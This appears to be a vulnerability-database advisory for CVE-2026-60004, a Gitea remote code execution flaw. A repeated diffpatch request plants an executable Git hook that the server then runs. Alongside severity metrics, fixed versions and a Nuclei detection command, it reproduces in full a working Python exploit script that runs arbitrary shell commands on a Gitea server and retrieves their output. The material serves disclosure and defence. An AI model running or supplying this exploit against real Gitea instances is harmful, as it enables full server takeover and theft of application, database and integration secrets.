CVE-2026-60004 is a critical-severity (CVSS 9.8) Code Injection vulnerability in gitea.dev. 3 public exploit references exist, so weaponization risk is real. A fix is available for gitea.dev — see the affected versions and patch details below.
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Exploitation Status
Actively exploited in the wild
- CISA’s SSVC triage classifies this CVE as under active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-60004.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-60004 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,534 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
gitea.devReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.
An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.
Details
services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:
cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3")
}
Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.
In a bare clone, the repository root is $GIT_DIR. As a result, an executable entry named:
hooks/post-index-change
becomes a live Git hook.
Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.
The hook's return value is not propagated to the diffpatch response.
The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.
PoC
The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.
Set the account password:
export GITEA_PASSWORD='account-password'
Execute a command through the diffpatch chain:
python3 ./gitea_diffpatch_rce_poc.py \
https://gitea.example \
pocuser \
'id; uname -srm; pwd'
The script:
- Creates an initialized private repository.
- Submits the same executable-hook patch twice.
- Fetches the result branch.
- Prints the command's combined stdout, stderr, and exit status.
- Prints the evidence repository, ref, and commit IDs to stderr.
Expected output resembles:
uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...
[exit-status=0]
The trigger requires:
- Git 2.32 or newer.
- An enabled
diffpatchroute. - A writable and executable temporary filesystem.
Open registration is required only for the no-prior-credentials attack path.
Impact
This is remote command execution as the Gitea service account (CWE-94).
Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:
app.iniand Gitea application secrets.- Process environment secrets.
- Mounted repositories.
- Database credentials and database contents.
- OAuth and integration credentials.
- Other internal or externally reachable services.
With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.
<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""
from __future__ import annotations
import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path
import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile
from typing import Any
import urllib.error
import urllib.parse
import urllib.request
TIMEOUT = 30.0
USER_AGENT = "gitea-rce-poc/2.0"
_RST = "\033[0m"
_DIM = "\033[2m"
_GRN = "\033[38;5;46m" # bright green
_RED = "\033[31m" # red for errors
def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"
def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")
_SEP = " " + "═" * 44
BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}"
def print_banner(url: str, version: str | None = None,
command: str | None = None) -> None:
print()
for line in BANNER.splitlines():
print(_g(line))
print()
ver = version or "unknown"
print(_g(" " + "-" * 54))
print(_g(f" Target : {url}"))
print(_g(f" Version : {ver}"))
if command:
print(_g(f" Command : {command}"))
print(_g(" " + "-" * 54))
print()
class PocError(RuntimeError):
pass
class GiteaClient:
def __init__(self, base_url: str, username: str, password: str) -> None:
parsed = urllib.parse.urlsplit(base_url)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise PocError("URL must be an absolute http:// or https:// URL")
if parsed.query or parsed.fragment:
raise PocError("URL must not contain a query string or fragment")
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
encoded = base64.b64encode(
f"{username}:{password}".encode()
).decode("ascii")
self.authorization = f"Basic {encoded}"
def api(
self,
method: str,
path: str,
payload: dict[str, Any] | None = None,
) -> tuple[int, Any]:
data = None
if payload is not None:
data = json.dumps(payload, separators=(",", ":")).encode()
req = urllib.request.Request(
self.base_url + path,
data=data,
method=method,
headers={
"Accept": "application/json",
"Authorization": self.authorization,
"Content-Type": "application/json",
"User-Agent": USER_AGENT,
},
)
try:
with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
raw = r.read()
return r.status, json.loads(raw) if raw else None
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")[:2_000]
raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
except urllib.error.URLError as exc:
raise PocError(f"{method} {path} failed: {exc.reason}") from exc
except json.JSONDecodeError:
raise PocError(f"{method} {path} returned invalid JSON")
def blob_oid(content: bytes) -> str:
return hashlib.sha1(
f"blob {len(content)}\0".encode("ascii") + content
).hexdigest()
def build_hook(command: str, leak_ref: str) -> bytes:
qcmd = shlex.quote(command)
qref = shlex.quote(f"refs/heads/{leak_ref}")
return (
"#!/bin/sh\n"
'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
'case "$origin_objects" in\n'
' /*) ;;\n'
' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
"esac\n"
'origin_git=${origin_objects%/objects}\n'
'[ "$origin_git" != "$origin_objects" ] || exit 3\n'
f"output_blob=$({{ /bin/sh -c {qcmd}; "
'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
'git --git-dir="$origin_git" mktree) || exit 5\n'
'commit=$(printf "command output\\n" | '
"GIT_AUTHOR_NAME=poc [email protected] "
"GIT_COMMITTER_NAME=poc [email protected] "
'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
"exit 0\n"
).encode()
def build_patch(hook: bytes) -> str:
lc = hook.count(b"\n")
hdr = (
"diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
"new file mode 100755\n"
f"index {'0'*40}..{blob_oid(hook)}\n"
"--- /dev/null\n"
"+++ b/hooks/post-index-change\n"
f"@@ -0,0 +1,{lc} @@\n"
).encode()
return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:
try:
result = subprocess.run(
[git, *arguments], env=env,
stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
check=False, timeout=TIMEOUT,
)
except subprocess.TimeoutExpired as exc:
raise PocError(f"git timed out after {TIMEOUT:g}s") from exc
except OSError as exc:
raise PocError(f"could not run git: {exc}") from exc
if result.returncode != 0:
err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip()
raise PocError(f"git exit {result.returncode}: {err}")
return result.stdout
def fetch_output(git: str, client: GiteaClient,
owner: str, repo: str, leak_ref: str) -> bytes:
remote = (
f"{client.base_url}/"
f"{urllib.parse.quote(owner, safe='')}/"
f"{urllib.parse.quote(repo, safe='')}.git"
)
with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp:
bare = Path(tmp) / "fetch.git"
auth_cfg = Path(tmp) / "auth.config"
fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
with os.fdopen(fd, "w", encoding="utf-8") as f:
f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n")
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
run_git(git, ["init", "--bare", "--quiet", str(bare)], env)
run_git(git, [
"-C", str(bare), "-c", f"include.path={auth_cfg}",
"fetch", "--quiet", "--no-tags",
remote, f"refs/heads/{leak_ref}",
], env)
return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)
def split_output(raw: bytes) -> tuple[str, int | None]:
text = raw.decode("utf-8", errors="replace")
lines = text.splitlines()
status: int | None = None
if lines:
t = lines[-1].strip()
if t.startswith("[exit-status=") and t.endswith("]"):
try: status = int(t[len("[exit-status="):-1])
except ValueError: pass
else: lines.pop()
return "\n".join(lines).rstrip("\n"), status
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(description="Gitea RCE PoC")
p.add_argument("url", help="Gitea base URL")
p.add_argument("username", help="existing Gitea username")
p.add_argument("command", help="shell command to execute on target")
return p.parse_args()
def main() -> int:
args = parse_args()
if "\0" in args.command:
raise PocError("command must not contain a NUL character")
password = os.environ.get("GITEA_PASSWORD") or getpass.getpass(
_g("[?]") + " password: "
)
if not password:
raise PocError("password must not be empty")
git = shutil.which("git")
if git is None:
raise PocError("git executable not found in PATH")
client = GiteaClient(args.url, args.username, password)
# version probe (pre-banner)
log_star("probing target...")
version: str | None = None
try:
r = urllib.request.Request(
client.base_url + "/api/v1/version",
headers={"Accept": "application/json", "User-Agent": USER_AGENT},
)
with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:
version = json.loads(resp.read()).get("version", "unknown")
except Exception:
version = "unknown"
print_banner(client.base_url, version, args.command)
log_star(f"target={client.base_url} user={args.username} cmd={args.command}")
print()
# step 1 – authenticate
log_star("authenticating...")
sc, acct = client.api("GET", "/api/v1/user")
if sc != 200 or not isinstance(acct, dict):
log_err("authentication failed"); raise PocError("auth failed")
owner = acct.get("login")
if not isinstance(owner, str) or not owner:
log_err("no login in response"); raise PocError("no login")
log_ok(f"logged in as {owner} ({version})")
# step 2 – create repo
unique = secrets.token_hex(5)
repo = f"test-repo-{unique}"
leak_ref = f"output-{unique}"
log_star("creating repository...")
sc, _ = client.api("POST", "/api/v1/user/repos", {
"name": repo, "private": True,
"auto_init": True, "default_branch": "main",
"object_format_name": "sha1",
})
if sc != 201:
log_err("repo creation failed"); raise PocError("repo creation failed")
log_ok(f"created repo {owner}/{repo}")
# steps 3–4 – deliver payloads
body = {
"content": build_patch(build_hook(args.command, leak_ref)),
"message": "initial commit",
"branch": "main", "new_branch": "main",
}
ep = (
f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/"
f"{urllib.parse.quote(repo, safe='')}/diffpatch"
)
commits: list[str] = []
for cycle in (1, 2):
log_star(f"delivering payload {cycle}/2...")
sc, resp = client.api("POST", ep, body)
try:
commit = resp["commit"]["sha"]
except (KeyError, TypeError) as exc:
log_err(f"payload {cycle}/2 rejected")
raise PocError(f"cycle {cycle} no commit") from exc
if sc != 201:
log_err(f"payload {cycle}/2 failed")
raise PocError(f"cycle {cycle} failed")
commits.append(commit)
log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}")
# step 5 – retrieve output
log_star("retrieving output...")
output = fetch_output(git, client, owner, repo, leak_ref)
log_ok("operation complete")
# command output
cmd_out, exit_status = split_output(output)
print()
log_ok(f"{args.command}:")
print(_g("---"))
if cmd_out:
for line in cmd_out.splitlines():
print(_g(line))
else:
print(_d("<no output>"))
print(_g("---"))
if exit_status == 0:
log_ok(f"exit status: {exit_status}")
elif exit_status is None:
log_star("exit status: unknown")
else:
log_err(f"exit status: {exit_status}")
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except PocError as exc:
log_err(str(exc))
raise SystemExit(1) from None
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gitea.dev | ≥ 1.17.0&&< 1.27.1 | 1.27.1go get gitea.dev@v1.27.1 |
Affected Products
giteagiteaResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitea.dev, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitea.dev to 1.27.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-60004 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
How to detect CVE-2026-60004
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-60004 -u https://target- Template
- Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
- Severity
- critical
- Impact
- Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
- Remediation
- Update to Gitea version 1.27.1 or later.
Template by ProjectDiscovery nuclei-templates (0x_Akoko), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-60004 in your dependencies?
Find it across Go, including transitive dependencies.